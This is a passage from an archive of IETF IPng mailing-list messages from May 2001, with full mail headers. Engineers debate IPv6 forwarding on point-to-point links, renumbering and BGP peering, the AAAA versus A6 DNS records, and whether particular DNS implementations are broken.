engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f41B3wIM000973 for ; Tue, 1 May 2001 04:03:58 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA14127 for ; Tue, 1 May 2001 04:03:56 -0700 (PDT) Received: from hygro.adsl.duke.edu (cichlid.adsl.duke.edu [152.16.64.203]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id FAA29041 for ; Tue, 1 May 2001 05:25:59 -0600 (MDT) Received: from hygro.adsl.duke.edu (narten@localhost) by hygro.adsl.duke.edu (8.11.0/8.9.3) with ESMTP id f41B3H903190; Tue, 1 May 2001 07:03:18 -0400 Message-Id: <200105011103.f41B3H903190@hygro.adsl.duke.edu> To: itojun@iijlab.net cc: ipng@sunroof.eng.sun.com Subject: Re: nonexisting destination on p2p link In-Reply-To: Message from itojun@iijlab.net of "Thu, 26 Apr 2001 08:45:43 +0900." <10506.988242343@itojun.org> Date: Tue, 01 May 2001 07:03:17 -0400 From: Thomas Narten Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk itojun@iijlab.net writes: > KAME code has a special code (disabled by default) for this case, like > - suppose I am a router. if the packet comes in from interface Ix, > and goes out again to Ix, and interface Ix is a p2p link, I do not > forward the packet. instead, I'd emit ICMPv6 no route to > host. Won't this result in ICMP no route messages also being generated for packets being forwarded back out the same link via the routing header? I.e., perfecly legal packets that don't cause problems get dropped? Seems like if such a rule were to be defined, it needs to be more nuanced than written above. Thomas -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 1 04:38:57 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f41BcuIM001002 for ; Tue, 1 May 2001 04:38:57 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f41BcuUt001001 for ipng-dist; Tue, 1 May 2001 04:38:56 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f41BclIM000994 for ; Tue, 1 May 2001 04:38:47 -0700 (PDT) Received: from venus.Sun.COM (venus.EBay.Sun.COM [129.150.69.5]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA24253 for ; Tue, 1 May 2001 04:38:46 -0700 (PDT) Received: from netcore.fi (netcore.fi [193.94.160.1]) by venus.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id EAA25473 for ; Tue, 1 May 2001 04:38:44 -0700 (PDT) Received: from localhost (pekkas@localhost) by netcore.fi (8.11.1/8.11.1) with ESMTP id f41Bca311574; Tue, 1 May 2001 14:38:37 +0300 Date: Tue, 1 May 2001 14:38:36 +0300 (EEST) From: Pekka Savola To: cc: Subject: Re: nonexisting destination on p2p link In-Reply-To: <28437.988711565@itojun.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk On Tue, 1 May 2001 itojun@iijlab.net wrote: > or, are you proposing this scenario? > - routing table has ff02::%interface/64 > - routing daemon discovers each other > - routing daemon installs Lb%interface/128 once they discover each > other > none of the existing routing daemons (i know of) work this way. Have I missed something, or why does this have to be done in the routing protocol? Can't some more generic, lower level method like NS/ND work here? More generic /128 route addition can of course be problematic if it's not done right in the routing protocol. Imagine enabling a flawed version this on a 1000-computer LAN segment and filling your routing table. -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 1 05:33:27 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f41CXQIM001066 for ; Tue, 1 May 2001 05:33:26 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f41CXQT5001065 for ipng-dist; Tue, 1 May 2001 05:33:26 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f41CXAIM001053 for ; Tue, 1 May 2001 05:33:10 -0700 (PDT) Received: from venus.Sun.COM (venus.EBay.Sun.COM [129.150.69.5]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id FAA24299 for ; Tue, 1 May 2001 05:33:10 -0700 (PDT) Received: from mail.users.bit-net.com (www.bit-net.com [208.146.132.4]) by venus.Sun.COM (8.9.3+Sun/8.9.3) with SMTP id FAA10889 for ; Tue, 1 May 2001 05:33:09 -0700 (PDT) Received: from localhost by mail.users.bit-net.com; (5.65v3.2/1.1.8.2/30Jul96-0143PM) id AA32262; Tue, 1 May 2001 08:32:40 -0400 Date: Tue, 1 May 2001 08:32:40 -0400 (EDT) From: Jim Bound To: Bill Manning Cc: "David R. Conrad" , itojun@iijlab.net, Paul A Vixie , ipng@sunroof.eng.sun.com Subject: Re: was a6/aaaa - RA/ND & exchanges In-Reply-To: <200105010638.f416cVJ17319@zed.isi.edu> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Hi Bill, > % With all due respect IPv6 is far superior to IPv4 for renumbering. > % Have you looked in depth at Neighbor Discovery, Stateless > % Autoconfiguration, and Router Renumbering RFCs. Then put them all > % together. Nothing I mean Nothing exists like this in IPv4. > > And it was hell to fix. Six routers sharing a broadcast domain. > All running ND & all running RA. Which Address do the BGP peer > on? > The Fix? Turn off ND & RA and statically configure the interfaces. > Why is BGP affected by ND and RAs. ND is not for Router-to-Router communications? /jim -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 1 05:33:22 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f41CXLIM001063 for ; Tue, 1 May 2001 05:33:21 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f41CXKM0001062 for ipng-dist; Tue, 1 May 2001 05:33:20 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f41CX5IM001046 for ; Tue, 1 May 2001 05:33:06 -0700 (PDT) Received: from venus.Sun.COM (venus.EBay.Sun.COM [129.150.69.5]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id FAA19504 for ; Tue, 1 May 2001 05:33:06 -0700 (PDT) Received: from mail.users.bit-net.com (www.bit-net.com [208.146.132.4]) by venus.Sun.COM (8.9.3+Sun/8.9.3) with SMTP id FAA10575 for ; Tue, 1 May 2001 05:31:59 -0700 (PDT) Received: from localhost by mail.users.bit-net.com; (5.65v3.2/1.1.8.2/30Jul96-0143PM) id AA04929; Tue, 1 May 2001 08:30:26 -0400 Date: Tue, 1 May 2001 08:30:26 -0400 (EDT) From: Jim Bound Reply-To: Jim Bound To: "David R. Conrad" Cc: itojun@iijlab.net, Paul A Vixie , ipng@sunroof.eng.sun.com Subject: Re: AAAA/A6 thing In-Reply-To: <5.0.2.1.2.20010430195415.0314f788@localhost> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Hi David, > Jim, > > At 10:22 PM 4/30/2001 -0400, Jim Bound wrote: > >With all due respect IPv6 is far superior to IPv4 for renumbering. > >Have you looked in depth at Neighbor Discovery, Stateless > >Autoconfiguration, and Router Renumbering RFCs. Then put them all > >together. > > My understanding that all of these were in a significant state of flux with > no significant deployment even possible at this time. I'm glad to hear my > understanding was mistaken. Need more time to read... No flux here. Router Renumbering is still being built. But the specs are very solid. > >Nothing I mean Nothing exists like this in IPv4. > > True. However, IPv4 does, at least, have deployed DHCP which seems to be > of more interest to larger sites than stateless autoconf. I do agree that Sateful Addrconf must be deployed and folks fought many of early IPv6 people pretty hard on it. In DHC WG we hope DHCPv6 will be wrapped up for London to move to PS status and that will get it done. As you know there are implementors addressing that requirement now in the industry and your on that list. But this discussion was the abstract regarding Renumbering. If your arguing IPv4 is OK and all is well. Hmmm. I see not point of that argument and won't participate as it simply is not OK anymore. > >We have never said we solved all the renumbering problems. > > I don't believe anyone has claimed the problems have been solved. They are > difficult problems. I was under the impression, however, that A6 was > considered a significant portion of the answer to the renumbering > problem. If it is not considered such, then it should be dropped > immediately as the additional complexity it imposes on the DNS is far too > high to justify its deployment. > > >Nor did we say we would. > > For what it is worth (not much, I know), my personal belief is that trivial > renumbering is key to IPv6's success. Without it, NAT will have a > significant advantage, despite NAT's acknowledged problems (no intention of > sparking yet another NAT flamefest, yes NAT is a blecherous hack). I don't disagree that renumbering is an advantage. NAT cannot support 3 billion Wireless devices and except for the U.S. none have the address space to support key end-to-end solutions. Thats why IPv6 will be deployed. There are next steps to renumbering no one is saying there is not. But how about a draft instead of just complaining from someone. I just don't see the benefit of such a discusion for me anyway. > >The reason IPv6 will be and has begun > >deployment is because of "address space". Its the primary motivator. > > This is worrisome. By and large, I believe the main reason people are > unhappy with the current situation with IPv4 is end user sites are normally > rejected for address allocations of provider independent address space, > forcing those sites to be dependent on their service provider for address > space. The reason for rejection is typically _not_ a lack of address > space, but rather the RIRs have been put into the position of trying to > limit the number of provider independent prefixes which enter the routing > system. Same thing. THe RIRs are trying to manage a scare commodity. > Given the current IPv6 addressing and routing architectures (as I > understand them -- I'm sure I'll be "gently" corrected if I'm wrong), those > same end user sites should get rejected for IPv6 space as well -- they > should go to their service provider for their address space. Without > trivial renumbering, those sites that transition to IPv6 will find > themselves in _exactly_ the same place they are with IPv4, if not > worse. They must renumber their site to their new provider's address > space. All IPv6's bigger addresses would mean is that they have more to > renumber. At that point, why fight the IPv4 inertia? Why not simply go > with IPv4 NAT solutions, despite their warts (yes, I know what those warts > are, but note that I can go down to Office Depot and buy a 56Kbps asynch > NAT router off the shelf _today_)? People are free to do that. We must be talking to different customers the ones I talk to have had it with this present world and want IPv6 and not NAT. But I don't just talk to U.S. Customers either :----) But there are some very large U.S. customers that want IPv6 yesterday. We should fix Multihoming. But that is not an addressing or routing issue with IPv6 but something that was not fixed in IPv4 either. If we fix it in IPv6 thats another advantage and I think we can. What exactly in technical terms have you heard is wrong with IPv6 addresses and routing? Hard for me to defend inuendo...... > I believe A6 provides a useful generalization that can support greatly > simplified renumbering. I also believe a significant amount of operational > deployment experience is necessary to determine whether or not the > complexity it imposes on the DNS is justified by the benefits it > brings. At least at this point, there are implementations that will permit > experimentation. Those experiments should be the focus of efforts, not > attempts to derail the existence of A6 without supporting evidence. > I am not arguing about A6 anymore. regards, /jim -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 1 05:55:01 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f41Ct0IM001095 for ; Tue, 1 May 2001 05:55:00 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f41CsxLs001094 for ipng-dist; Tue, 1 May 2001 05:54:59 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f41CsoIM001087 for ; Tue, 1 May 2001 05:54:50 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id FAA25746 for ; Tue, 1 May 2001 05:54:49 -0700 (PDT) Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id HAA29745 for ; Tue, 1 May 2001 07:16:52 -0600 (MDT) Received: from zed.isi.edu (zed.isi.edu [128.9.160.57]) by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f41CsmP17972; Tue, 1 May 2001 05:54:48 -0700 (PDT) From: Bill Manning Received: (from bmanning@localhost) by zed.isi.edu (8.11.0/8.8.6) id f41Csmv18211; Tue, 1 May 2001 05:54:48 -0700 Message-Id: <200105011254.f41Csmv18211@zed.isi.edu> Subject: Re: was a6/aaaa - RA/ND & exchanges To: seamus@bit-net.com (Jim Bound) Date: Tue, 1 May 2001 05:54:47 -0700 (PDT) Cc: bmanning@ISI.EDU (Bill Manning), david.conrad@nominum.com (David R. Conrad), itojun@iijlab.net, vixie@mfnx.net (Paul A Vixie), ipng@sunroof.eng.sun.com In-Reply-To: from "Jim Bound" at May 01, 2001 08:32:40 AM X-Mailer: ELM [version 2.5 PL3] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk % % Hi Bill, % % > % With all due respect IPv6 is far superior to IPv4 for renumbering. % > % Have you looked in depth at Neighbor Discovery, Stateless % > % Autoconfiguration, and Router Renumbering RFCs. Then put them all % > % together. Nothing I mean Nothing exists like this in IPv4. % > % > And it was hell to fix. Six routers sharing a broadcast domain. % > All running ND & all running RA. Which Address do the BGP peer % > on? % > The Fix? Turn off ND & RA and statically configure the interfaces. % > % % Why is BGP affected by ND and RAs. ND is not for Router-to-Router % communications? % % /jim BGP is bound between two IP addresses. When the IP addresses change the BGP peering is lost. -- --bill -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 1 05:59:05 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f41Cx5IM001112 for ; Tue, 1 May 2001 05:59:05 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f41Cx4Zt001111 for ipng-dist; Tue, 1 May 2001 05:59:04 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f41CwtIM001104 for ; Tue, 1 May 2001 05:58:55 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id FAA29478 for ; Tue, 1 May 2001 05:58:56 -0700 (PDT) Received: from mail.users.bit-net.com (www.bit-net.com [208.146.132.4]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with SMTP id HAA01116 for ; Tue, 1 May 2001 07:20:56 -0600 (MDT) Received: from localhost by mail.users.bit-net.com; (5.65v3.2/1.1.8.2/30Jul96-0143PM) id AB29548; Tue, 1 May 2001 08:57:21 -0400 Date: Tue, 1 May 2001 08:57:21 -0400 (EDT) From: Jim Bound To: Bill Manning Cc: "David R. Conrad" , itojun@iijlab.net, Paul A Vixie , ipng@sunroof.eng.sun.com Subject: Re: was a6/aaaa - RA/ND & exchanges In-Reply-To: <200105011254.f41Csmv18211@zed.isi.edu> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk So your saying this happens with router-renumbering? It should not with ND. ND should not alter a peer routers address. So still why is this an ND problem. ND and Router Renumbering are two distinct but compatible specs? thanks trying to understand, /jim On Tue, 1 May 2001, Bill Manning wrote: > % > % Hi Bill, > % > % > % With all due respect IPv6 is far superior to IPv4 for renumbering. > % > % Have you looked in depth at Neighbor Discovery, Stateless > % > % Autoconfiguration, and Router Renumbering RFCs. Then put them all > % > % together. Nothing I mean Nothing exists like this in IPv4. > % > > % > And it was hell to fix. Six routers sharing a broadcast domain. > % > All running ND & all running RA. Which Address do the BGP peer > % > on? > % > The Fix? Turn off ND & RA and statically configure the interfaces. > % > > % > % Why is BGP affected by ND and RAs. ND is not for Router-to-Router > % communications? > % > % /jim > > BGP is bound between two IP addresses. When the IP addresses change > the BGP peering is lost. > > > -- > --bill > -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 1 05:59:22 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f41CxLIM001122 for ; Tue, 1 May 2001 05:59:22 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f41CxLKU001121 for ipng-dist; Tue, 1 May 2001 05:59:21 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f41Cx7IM001114 for ; Tue, 1 May 2001 05:59:08 -0700 (PDT) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id FAA29509 for ; Tue, 1 May 2001 05:59:07 -0700 (PDT) Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id FAA29602 for ; Tue, 1 May 2001 05:59:07 -0700 (PDT) Received: from zed.isi.edu (zed.isi.edu [128.9.160.57]) by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f41Cx7P18492; Tue, 1 May 2001 05:59:07 -0700 (PDT) From: Bill Manning Received: (from bmanning@localhost) by zed.isi.edu (8.11.0/8.8.6) id f41Cx7T18230; Tue, 1 May 2001 05:59:07 -0700 Message-Id: <200105011259.f41Cx7T18230@zed.isi.edu> Subject: Re: was a6/aaaa - RA/ND & exchanges To: seamus@bit-net.com (Jim Bound) Date: Tue, 1 May 2001 05:59:06 -0700 (PDT) Cc: bmanning@ISI.EDU (Bill Manning), david.conrad@nominum.com (David R. Conrad), itojun@iijlab.net, vixie@mfnx.net (Paul A Vixie), ipng@sunroof.eng.sun.com In-Reply-To: from "Jim Bound" at May 01, 2001 08:57:21 AM X-Mailer: ELM [version 2.5 PL3] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Just reporting what happend. I'll reproduce it when I get back home. % % So your saying this happens with router-renumbering? It should not with % ND. ND should not alter a peer routers address. So still why is this an % ND problem. ND and Router Renumbering are two distinct but compatible % specs? % % thanks trying to understand, % % /jim % % On Tue, 1 May 2001, Bill Manning wrote: % % > % % > % Hi Bill, % > % % > % > % With all due respect IPv6 is far superior to IPv4 for renumbering. % > % > % Have you looked in depth at Neighbor Discovery, Stateless % > % > % Autoconfiguration, and Router Renumbering RFCs. Then put them all % > % > % together. Nothing I mean Nothing exists like this in IPv4. % > % > % > % > And it was hell to fix. Six routers sharing a broadcast domain. % > % > All running ND & all running RA. Which Address do the BGP peer % > % > on? % > % > The Fix? Turn off ND & RA and statically configure the interfaces. % > % > % > % % > % Why is BGP affected by ND and RAs. ND is not for Router-to-Router % > % communications? % > % % > % /jim % > % > BGP is bound between two IP addresses. When the IP addresses change % > the BGP peering is lost. % > % > % > -- % > --bill % > % -- --bill -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 1 06:37:31 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f41DbUIM001175 for ; Tue, 1 May 2001 06:37:31 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f41DbU0j001174 for ipng-dist; Tue, 1 May 2001 06:37:30 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f41DbLIM001167 for ; Tue, 1 May 2001 06:37:21 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA24233 for ; Tue, 1 May 2001 06:37:21 -0700 (PDT) Received: from lauta.epm.net.co (lauta.epm.net.co [200.13.224.2]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id GAA05718 for ; Tue, 1 May 2001 06:37:19 -0700 (PDT) Received: from b-jochoa (216.6.18.230) by lauta.epm.net.co (5.1.056) id 3AEB36F10002BDA6 for ipng@sunroof.eng.sun.com; Tue, 1 May 2001 08:35:30 -0500 Message-ID: <001f01c0d244$3274d320$5f7019ac@b-jochoa> From: "Julio Alberto Ochoa M" To: "IPNG" Subject: What about the IPSAT with Non-geo satellite Date: Tue, 1 May 2001 08:38:23 -0500 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_001C_01C0D21A.15914B00" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.2106.4 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk This is a multi-part message in MIME format. ------=_NextPart_000_001C_01C0D21A.15914B00 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi, My name is Julio and I am looking information about state of art of this = systems. I am finishing a communications specialization and I am = interested in systems IPSAT, and I have a question: Why the IPSAT Non = GEO isn=B4t implemented yet? What is the future about it? Where can = I find information? Thanks, Julio Ochoa Electronic Eng. Kimberly Clark Corp. ------=_NextPart_000_001C_01C0D21A.15914B00 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hi,
 
My name is Julio and I am looking = information=20 about state of art of this systems.  I am finishing a = communications=20 specialization and I am interested in systems IPSAT, and I have a=20 question:  Why the IPSAT Non GEO isn´t implemented = yet?  =20 What is the future about it?   Where can I find=20 information?
 
Thanks,
 
Julio Ochoa
Electronic Eng.
Kimberly Clark = Corp.
------=_NextPart_000_001C_01C0D21A.15914B00-- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 1 06:37:08 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f41Db7IM001165 for ; Tue, 1 May 2001 06:37:07 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f41Db7tk001164 for ipng-dist; Tue, 1 May 2001 06:37:07 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f41DatIM001157 for ; Tue, 1 May 2001 06:36:55 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA29391 for ; Tue, 1 May 2001 06:36:55 -0700 (PDT) Received: from necom830.hpcl.titech.ac.jp (necom830.hpcl.titech.ac.jp [131.112.32.132]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id HAA14314 for ; Tue, 1 May 2001 07:58:59 -0600 (MDT) From: Masataka Ohta Message-Id: <200105011327.WAA10527@necom830.hpcl.titech.ac.jp> Received: by necom830.hpcl.titech.ac.jp (8.6.11/TM2.1) id WAA10527; Tue, 1 May 2001 22:26:45 +0859 Subject: Re: AAAA/A6 thing In-Reply-To: <20010430190948.19724.qmail@cr.yp.to> from "D. J. Bernstein" at "Apr 30, 2001 07:09:48 pm" To: "D. J. Bernstein" Date: Tue, 1 May 2001 22:26:44 +0859 () CC: ipng@sunroof.eng.sun.com, namedroppers@ops.ietf.org X-Mailer: ELM [version 2.4ME+ PL68 (25)] Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Dan; > This is a bug in the protocol, not in any particular > implementation. All of my comments apply to BIND's A6 implementation; > BIND discards out-of-bailiwick records for security, just as djbdns > does. Ohta's ``fix'' comments are nonsense. So, your point is that BIND defines DNS protocol. However, BIND does not. RFC103[45] does. Your implementation can not handle a configuration perfectly leagal with regard to RFC103[45] and is broken. > Ohta is wrong. Wrong on what? I never said BIND is not broken. About 10 years ago, I noticed BIND broken and suggested Paul how he can fix it. I don't know whether he fixed BIND correctly or not, but as Paul, seemingly, did not understand the problem serious, I will not be surprised if BIND is still broken. However, it does not affect the fact that your implementation is broken. Your implementation is broken, not because it behaves differently from BIND but because it can not handle a configuration perfectly leagal with regard to RFC103[45]. Masataka Ohta -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 1 06:49:58 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f41DngIM001210 for ; Tue, 1 May 2001 06:49:42 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f41Dnggw001209 for ipng-dist; Tue, 1 May 2001 06:49:42 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f41DnUIM001202 for ; Tue, 1 May 2001 06:49:30 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA25898 for ; Tue, 1 May 2001 06:49:30 -0700 (PDT) Received: from gungnir.fnal.gov (gungnir.fnal.gov [131.225.80.1]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id GAA12262 for ; Tue, 1 May 2001 06:49:29 -0700 (PDT) Received: from gungnir.fnal.gov (localhost [127.0.0.1]) by gungnir.fnal.gov (8.9.1/8.9.1) with ESMTP id IAA19056; Tue, 1 May 2001 08:49:16 -0500 (CDT) Message-Id: 